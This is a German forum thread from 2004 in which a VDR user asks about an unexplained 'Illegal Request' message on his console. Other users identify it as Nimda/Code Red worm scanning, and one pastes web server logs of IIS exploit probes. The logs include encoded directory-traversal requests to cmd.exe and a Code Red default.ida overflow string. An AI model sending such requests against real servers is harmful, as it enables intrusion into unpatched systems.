Illegal Request. HELP!

schelli · Feb 28th 2004

Hallo zusammen,

sitz grad da und arbeite am Laptop, nebenher läuft der VDR. bin auf konsole1 als root eingeloggt, der Bildschirm ist an, aber ich hab schon seit langem nixmehr eingegeben. der letzte befehl den ich ausgeführt habe war "df" vor etwa 20 minuten.

auf dem vdr ist nebenbei noch ein win98 installiert. wenn der vdr läuft läuft auch der vdradmin, der über ne dyndns adresse weltweit per internet erreichbar ist.

auf einmal erscheint einfach so hinter meinem prompt:

Code

video:~ # Illegal Request. HELP!
GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir

als erstes hab ich natürlich den vdr vom netz genommen, man weiss ja nie, was da nicht alles böses im internet rumschwirrt ... hab aber trotzdem keine ahnung, was das sein könnte und was mir mein vdr damit sagen wollte. hat von euch vielleicht jemand ne idee?

mfg
schelli

fawkes · Feb 28th 2004

Was für Programme hattest du denn vorher
von der Shell aus gestartet(und laufen noch) , die diese Ausgabe
aus stdout geschrieben haben können?

Gruß,
Henning

schelli · Feb 28th 2004

nichts ...

vdr hochgefahren, login, dann ein "ls" gleich danach das "df", dann 20 minuten nix gemacht und auf einmal ist die ausgabe auf dem bildschirm erschienen

schelli

poetter · Feb 28th 2004

Kann dir leider auch nicht helfen.

Würde aber tortzdem empfehlen den VDRAdmin nicht ins I-Net zu öffnen. Ist nicht gerade sicher !

schelli · Feb 28th 2004

das wird jetzt eh wieder geändert, solang ich keine vorlesungen habe.
war halt während des semester praktisch. einfach mal zuhause angerufen und jemanden beauftragt, den rechner hochzufahren, ne minute später konnt ich dann aus der uni raus selbst den vdr programmieren...

schelli

poetter · Feb 28th 2004

Man kann die Verbindung aber prima über SSH tunneln.

Das sollte dann erheblich sicherer sein. Das mit dem anrufen kann einem überigens WOL ersparen.

schelli · Feb 28th 2004

Quote

Original von poetter
Man kann die Verbindung aber prima über SSH tunneln.

war nur ne notlösung von weihnachten bis jetzt und da der vdr ja nur bei bedarf an war, war das scho ok. wenn ich dass dauerhaft mache, müsste ich mir so einen ssh-tunnel vielleicht doch mal anschauen.

als nächstes muss jetzt erstmal das vdradmin dicht gemacht werden, sonst ist der vdr ja immer erreichbar, wenn ich mein ganzen aufnahmen anschaue.

Quote

Das mit dem anrufen kann einem überigens WOL ersparen.

ja, so wars auch geplant. hab ne alte 3com wol karte hier rumfliegen, aber entweder mag linux die nicht, oder die ist wirklich kaputt (hab ich geschenkt gekriegt: "da schau ma, vielleicht geht se noch, vielleicht auch net...")

...

aber zum übersprünglichen thema hat niemand ne idee?
was kann so nen aufruf verursachen? nochdazu irgendwas mit winnt, obwohl ja gar nix mit nt auf dem rechner ist?!

schelli

fawkes · Feb 28th 2004

Durchsuch doch mal die VDRAdmin-"Sourcen" nach
Illagel Request HELP! oder wie das hieß.
Dann sehn wir ob VDRAdmin das Problem rausschiebt.

Steht im Logfile dazu vielleicht auch noch was?

Gruß,
Henning

wirbel · Feb 28th 2004

../winnt/system32/cmd.exe

Nanu? Ne Windows-NT Einagbeaufforderung am liniux-PC?

Da hat wohl n böser Hacker was versucht. *gg*

fawkes · Feb 28th 2004

Ja das sieht sehr danach aus,
aus wollt jemand die Freigaben überprüfen
bzw. umgehen.

schelli · Feb 28th 2004

also das "Illegal Request. HELP!" hab ich in den sourcen von vdradmin gefunden, scheint wohl wirklich der übeltäter zu sein.

und das
"GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir"
scheint dann wohl diese illegale anweisung sein, mit der vdradmin nichts anfangen kann ... scheint ja auch ehr auf ein windows-system zu zielen *g*

naja und freund google ist da sogar noch etwas auskunftfreudiger (warum poste ich eigentlich hier, bevor ich den anschmeiss??)

scheint wohl "nur" ein böser nimda oder code-red virus zu sein ...
http://www.webmasterworld.com/forum39/734.htm

besten dank für alle antworten
schelli

jumbopack · Feb 28th 2004

Hi,

don´t worry too much.

Mein Webserver-Log ist voll von diesem Zeug und anderen Ergüssen von Script-Kiddies, Port-Scans und Würmer-Kram. So what?

Quote

"GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 240
"CONNECT 1.3.3.7:1337 HTTP/1.0" 403 281
"~@1^A" 403 -212.217.42.226 - - [23/Feb/2004:21:26:41 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 240
212.217.42.226 - - [23/Feb/2004:21:26:42 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 240
212.217.42.226 - - [23/Feb/2004:21:26:42 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 24
0
212.217.42.226 - - [23/Feb/2004:21:26:42 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 24
0
212.217.42.226 - - [23/Feb/2004:21:26:43 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 240
212.217.42.226 - - [23/Feb/2004:21:26:43 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/sys
tem32/cmd.exe?/c+dir HTTP/1.0" 404 240
212.217.42.226 - - [23/Feb/2004:21:26:43 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/sys
tem32/cmd.exe?/c+dir HTTP/1.0" 404 240
212.217.42.226 - - [23/Feb/2004:21:26:43 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%
c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 240
212.217.42.226 - - [23/Feb/2004:21:26:44 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 240
212.217.42.226 - - [23/Feb/2004:21:26:44 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 314
212.217.42.226 - - [23/Feb/2004:21:26:44 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 240
"~@1^A" 403 -
"~@1^A" 403 -
"GET /scripts/nsiislog.dll HTTP/1.0" 404 240
"GET /sumthin HTTP/1.0" 404 240

Display More

Sind etwa 2/3 des Logs, die so aussehen. Und das, ohne dass die IP-Adresse oder der Hostname irgendwie nach draußen bekannt wären. Aber iss mir wurscht. Wenn ich mal wieder ein bisschen Zeit hab (also so in 15 Jahren vielleicht) bastel ich mir eine schöne Teergrube, und während der "böse Hacker" darin festpappt hole ich zum Gegenschlag aus, harharhar....

Ciao
Jürgen

baltasar · Mar 1st 2004

Mein Web-Server Log sieht genauso aus.
Damit die Script-Kiddies nicht zu frustriert sind, habe ich ein paar von den
gesuchen "cmd.exe" und "niieslog.dll" auf den server gelegt.
Die geben dann eine 30 K langes "gefaktes" dir aus und zwar mit einem Delay von 2 Sekunden pro Zeile.

Je nach Ausdauer bleiben die lieben Hackertools für 5 Minuten bis 1 Stunde beschäftigt.

Nett ist auch einen nach aussen einen offenen FTP Server zu zeigen mit vielen GBytes Platz. Wird auch immer wieder gerne gesucht.

Aber immer schon "safe" bleiben ....

Illegal Request. HELP!

Participate now!

Share